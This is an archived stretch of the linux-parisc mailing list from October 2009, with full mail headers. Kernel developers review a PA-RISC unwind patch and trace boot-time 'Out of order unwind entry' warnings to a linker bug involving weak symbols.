Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3AaY-000604-6B
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 16:37:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752439AbZJ1PhY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 11:37:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754600AbZJ1PhX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 11:37:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37343 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752439AbZJ1PhX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 11:37:23 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N3AaT-0000lq-R9; Wed, 28 Oct 2009 15:37:25 +0000
Content-Disposition: inline
In-Reply-To: <20091025214248.GA15028@p100.box>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2261>

On Sun, Oct 25, 2009 at 10:42:48PM +0100, Helge Deller wrote:
> kernel unwinding is broken with gcc >= 4.x. Part of the problem is, that
> binutils seems sensible where the unwind information is stored.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

This looks good to me, I checked the resulting vmlinux and things seem
sensible...

I'll apply it to my next branch when I get home tonight.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix unwind
Date: Wed, 28 Oct 2009 12:28:35 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20091028162835.GV11702@bombadil.infradead.org>
References: <20091025214248.GA15028@p100.box> <20091028153725.GU11702@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256747326 9632 80.91.229.12 (28 Oct 2009 16:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 16:28:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Randolph Chung <tausq@debian.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 17:28:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3BO1-00078c-Vc
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 17:28:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751737AbZJ1Q2c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 12:28:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754049AbZJ1Q2c
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 12:28:32 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56012 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751737AbZJ1Q2b (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 12:28:31 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N3BNz-0000iL-Q4; Wed, 28 Oct 2009 16:28:35 +0000
Content-Disposition: inline
In-Reply-To: <20091028153725.GU11702@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2262>

On Wed, Oct 28, 2009 at 11:37:25AM -0400, Kyle McMartin wrote:
> On Sun, Oct 25, 2009 at 10:42:48PM +0100, Helge Deller wrote:
> > kernel unwinding is broken with gcc >= 4.x. Part of the problem is, that
> > binutils seems sensible where the unwind information is stored.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > 
> 
> This looks good to me, I checked the resulting vmlinux and things seem
> sensible...
> 
> I'll apply it to my next branch when I get home tonight.
> 

I meant fixes.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 22:42:20 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <4AE8BABC.80108@gmx.de>
References: <20091027231909.74AEF4E0B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256766154 10932 80.91.229.12 (28 Oct 2009 21:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 21:42:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 22:42:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3GHh-0005Qp-AN
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 22:42:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750816AbZJ1VmT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 17:42:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751506AbZJ1VmT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 17:42:19 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:32858 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750816AbZJ1VmS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 17:42:18 -0400
Original-Received: (qmail invoked by alias); 28 Oct 2009 21:42:21 -0000
Original-Received: from p4FDB27EC.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.236]
  by mail.gmx.net (mp051) with SMTP; 28 Oct 2009 22:42:21 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/7AL0SgPv7NKBSUWRPhOUyvvHSxUd9rmY+HKGNN8
	K86bRgru75yNv2
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091027231909.74AEF4E0B@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2263>

On 10/28/2009 12:19 AM, John David Anglin wrote:
>>
>> I started to look into the problem why we get the
>>> WARNING: Out of order unwind entry!
>> warning messages at kernel bootup in dmesg.
>>
>> It's related to a binutils/linker bug, that ld does not correctly
>> removes unlink information for unused weak symbols, which have been
>> replaced by their non-weak ones.
>>
>> In my kernel I could track it down to 2 symbols:
>> - arch_mod_section_prepend()  from kernel/module.c, and
>> - save_stack_trace_tsk().
>>
>> Here is the extract of the readelf output on vmlinux:
>> ...
>> <inb>: [0x1011fbd4-0x1011fc48]
>>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>           Entry_GR=1 Save_SP Total_frame_size=8
>> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
>>           Entry_GR=1 Save_SP Total_frame_size=8
>> <module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
>>           Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>> ...
>
> It might be useful to know the actual location arch_mod_section_prepend
> and whether it follows inb in its .o.  From my understanding of things,
> it shouldn't be necessary to remove the unwind info for unused weak
> symbols if they aren't garbage collected.  A simple testcase would
> be helpful.

arch_mod_section_prepend() is here:
* arch/parisc/kernel/module.c  - non-weak function
* kernel/module.c - weak function

inb() is not defined in arch/parisc/kernel/module.c.
But during kernel build, all object files in arch/parisc/kernel/*.o are
linked together into arch/parisc/kernel/built-in.o:

Running readelf: "hppa-linux-readelf -u arch/parisc/kernel/built-in.o" gives:
...
<inb>: [0x0-0xe8]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<arch_mod_section_prepend>: [0x0-0x50]
         Entry_GR=1 Save_SP Total_frame_size=8
<module_arch_cleanup>: [0x0-0x80]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8

So, yes, the non-weak arch_mod_section_prepend() function follows the inb()
function in the object file (and in the final vmlinux file as well).

>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>           Entry_GR=1 Save_SP Total_frame_size=8
>> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
>>           Entry_GR=1 Save_SP Total_frame_size=8

The first entry is the non-weak one.
The second entry is the remaining part of the weak (dropped) function.
It seems only the start address was changed to the start address of the non-weak
function, while the end address has been kept unchanged.
[0x1011fc4c-0x10167cf4] would mean, that the weak function would be 295KB in size...?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 23:00:03 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <4AE8BEE3.1040706@gmx.de>
References: <20091027231909.74AEF4E0B@hiauly1.hia.nrc.ca> <4AE8BABC.80108@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256767219 14811 80.91.229.12 (28 Oct 2009 22:00:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 22:00:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:00:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3GYr-0004RG-Fn
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 23:00:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750748AbZJ1WAD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 18:00:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751566AbZJ1WAD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 18:00:03 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:43990 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750748AbZJ1WAC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 18:00:02 -0400
Original-Received: (qmail invoked by alias); 28 Oct 2009 22:00:05 -0000
Original-Received: from p4FDB27EC.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.236]
  by mail.gmx.net (mp010) with SMTP; 28 Oct 2009 23:00:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+USxwWyEuUP2j2g34SAAT3CGtTC9VUHOOTB7YKqb
	g19zZXIZs68+w3
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <4AE8BABC.80108@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2264>

Hi Dave,

> On 10/28/2009 12:19 AM, John David Anglin wrote:
>> From my understanding of things, it shouldn't be necessary to remove the
>>unwind info for unused weak  symbols if they aren't garbage collected.

What do you mean with "garbage collected" ?  "dropped from the executable" ?
AFAICS, the weak function was completely dropped from the vmlinux file.

Some more info:
The unwind function in the parisc linux kernel walks the (sorted!) unwind list.
If one entry is wrong this can lead to incorrect unwinding.

In this case:

<arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]   - non-weak function
           Entry_GR=1 Save_SP Total_frame_size=8
<arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]  - weak function
           Entry_GR=1 Save_SP Total_frame_size=8
<module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
           Entry_GR=2 Save_SP Save_RP Total_frame_size=8

I see a those options:
a) drop the second (weak) unwind info entry
b) for the weak function, use the same start- and end-addresses as the non-weak entry.

Option b) would probably need some adjustments to the existing parisc
specific unwind function.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 18:18:26 -0400 (EDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca>
References: <4AE8BABC.80108@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256768318 19452 80.91.229.12 (28 Oct 2009 22:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 22:18:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:18:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3Gqb-0002qf-Kb
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 23:18:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750870AbZJ1WSX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 18:18:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751645AbZJ1WSX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 18:18:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4201 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750870AbZJ1WSX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 18:18:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1B7774E38; Wed, 28 Oct 2009 18:18:26 -0400 (EDT)
In-Reply-To: <4AE8BABC.80108@gmx.de> from "Helge Deller" at Oct 28, 2009 10:42:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2265>

> On 10/28/2009 12:19 AM, John David Anglin wrote:
> >>
> >> I started to look into the problem why we get the
> >>> WARNING: Out of order unwind entry!
> >> warning messages at kernel bootup in dmesg.
> >>
> >> It's related to a binutils/linker bug, that ld does not correctly
> >> removes unlink information for unused weak symbols, which have been
> >> replaced by their non-weak ones.
> >>
> >> In my kernel I could track it down to 2 symbols:
> >> - arch_mod_section_prepend()  from kernel/module.c, and
> >> - save_stack_trace_tsk().
> >>
> >> Here is the extract of the readelf output on vmlinux:
> >> ...
> >> <inb>: [0x1011fbd4-0x1011fc48]
> >>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> >> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
> >>           Entry_GR=1 Save_SP Total_frame_size=8
> >> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
> >>           Entry_GR=1 Save_SP Total_frame_size=8
> >> <module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
> >>           Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> >> ...
> >
> > It might be useful to know the actual location arch_mod_section_prepend
> > and whether it follows inb in its .o.  From my understanding of things,
> > it shouldn't be necessary to remove the unwind info for unused weak
> > symbols if they aren't garbage collected.  A simple testcase would
> > be helpful.
> 
> arch_mod_section_prepend() is here:
> * arch/parisc/kernel/module.c  - non-weak function
> * kernel/module.c - weak function
> 
> inb() is not defined in arch/parisc/kernel/module.c.
> But during kernel build, all object files in arch/parisc/kernel/*.o are
> linked together into arch/parisc/kernel/built-in.o:
> 
> Running readelf: "hppa-linux-readelf -u arch/parisc/kernel/built-in.o" gives:
> ...
> <inb>: [0x0-0xe8]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <arch_mod_section_prepend>: [0x0-0x50]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <module_arch_cleanup>: [0x0-0x80]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> 
> So, yes, the non-weak arch_mod_section_prepend() function follows the inb()
> function in the object file (and in the final vmlinux file as well).
> 
> >> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
> >>           Entry_GR=1 Save_SP Total_frame_size=8
> >> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
> >>           Entry_GR=1 Save_SP Total_frame_size=8
> 
> The first entry is the non-weak one.
> The second entry is the remaining part of the weak (dropped) function.
> It seems only the start address was changed to the start address of the non-weak
> function, while the end address has been kept unchanged.
> [0x1011fc4c-0x10167cf4] would mean, that the weak function would be 295KB in size...?

If you run readelf on built-in.o, is the problem present there?

Does this happen with both 32 and 64 bit kernels?

Need to figure out why the start address of the weak function is
the same as the non-weak function.  My initial guess is that
RELOC_FOR_GLOBAL_SYMBOL is messing up.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 23:43:36 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <4AE8C918.8060908@gmx.de>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256769831 25259 80.91.229.12 (28 Oct 2009 22:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 22:43:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:43:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3HF0-0006E7-Iq
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 23:43:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753899AbZJ1Wng (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 18:43:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753887AbZJ1Wng
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 18:43:36 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:48478 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753899AbZJ1Wnf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 18:43:35 -0400
Original-Received: (qmail invoked by alias); 28 Oct 2009 22:43:39 -0000
Original-Received: from p4FDB27EC.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.236]
  by mail.gmx.net (mp025) with SMTP; 28 Oct 2009 23:43:39 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX195m20E9it5QxYvWQLegInsSiNahJfSxmY32Q+ocf
	KI67IKLOcabkey
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2266>

On 10/28/2009 11:18 PM, John David Anglin wrote:
>> On 10/28/2009 12:19 AM, John David Anglin wrote:
>>>>
>>>> I started to look into the problem why we get the
>>>>> WARNING: Out of order unwind entry!
>>>> warning messages at kernel bootup in dmesg.
>>>>
>>>> It's related to a binutils/linker bug, that ld does not correctly
>>>> removes unlink information for unused weak symbols, which have been
>>>> replaced by their non-weak ones.
>>>>
>>>> In my kernel I could track it down to 2 symbols:
>>>> - arch_mod_section_prepend()  from kernel/module.c, and
>>>> - save_stack_trace_tsk().
>>>>
>>>> Here is the extract of the readelf output on vmlinux:
>>>> ...
>>>> <inb>: [0x1011fbd4-0x1011fc48]
>>>>            Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>>>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>>>            Entry_GR=1 Save_SP Total_frame_size=8
>>>> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
>>>>            Entry_GR=1 Save_SP Total_frame_size=8
>>>> <module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
>>>>            Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>>>> ...
>>>
>>> It might be useful to know the actual location arch_mod_section_prepend
>>> and whether it follows inb in its .o.  From my understanding of things,
>>> it shouldn't be necessary to remove the unwind info for unused weak
>>> symbols if they aren't garbage collected.  A simple testcase would
>>> be helpful.
>>
>> arch_mod_section_prepend() is here:
>> * arch/parisc/kernel/module.c  - non-weak function
>> * kernel/module.c - weak function
>>
>> inb() is not defined in arch/parisc/kernel/module.c.
>> But during kernel build, all object files in arch/parisc/kernel/*.o are
>> linked together into arch/parisc/kernel/built-in.o:
>>
>> Running readelf: "hppa-linux-readelf -u arch/parisc/kernel/built-in.o" gives:
>> ...
>> <inb>: [0x0-0xe8]
>>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>> <arch_mod_section_prepend>: [0x0-0x50]
>>           Entry_GR=1 Save_SP Total_frame_size=8
>> <module_arch_cleanup>: [0x0-0x80]
>>           Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>>
>> So, yes, the non-weak arch_mod_section_prepend() function follows the inb()
>> function in the object file (and in the final vmlinux file as well).
>>
>>>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>>>            Entry_GR=1 Save_SP Total_frame_size=8
>>>> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
>>>>            Entry_GR=1 Save_SP Total_frame_size=8
>>
>> The first entry is the non-weak one.
>> The second entry is the remaining part of the weak (dropped) function.
>> It seems only the start address was changed to the start address of the non-weak
>> function, while the end address has been kept unchanged.
>> [0x1011fc4c-0x10167cf4] would mean, that the weak function would be 295KB in size...?
>
> If you run readelf on built-in.o, is the problem present there?

No. Since built-in.o is just an intermediate file, offset starts at 0x0.
<arch_mod_section_prepend>: [0x0-0x50]
         Entry_GR=1 Save_SP Total_frame_size=8
-> seems correct.

> Does this happen with both 32 and 64 bit kernels?

Yes.

> Need to figure out why the start address of the weak function is
> the same as the non-weak function.  My initial guess is that
> RELOC_FOR_GLOBAL_SYMBOL is messing up.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 23:59:47 +0100
Lines: 106
Approved: news@gmane.org
Message-ID: <4AE8CCE3.1030503@gmx.de>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca> <4AE8C918.8060908@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030008020803030801040609"
X-Trace: ger.gmane.org 1256770799 28112 80.91.229.12 (28 Oct 2009 22:59:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 22:59:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:59:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3HUd-0003ZV-KP
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 23:59:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751822AbZJ1W7p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 18:59:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751862AbZJ1W7p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 18:59:45 -0400
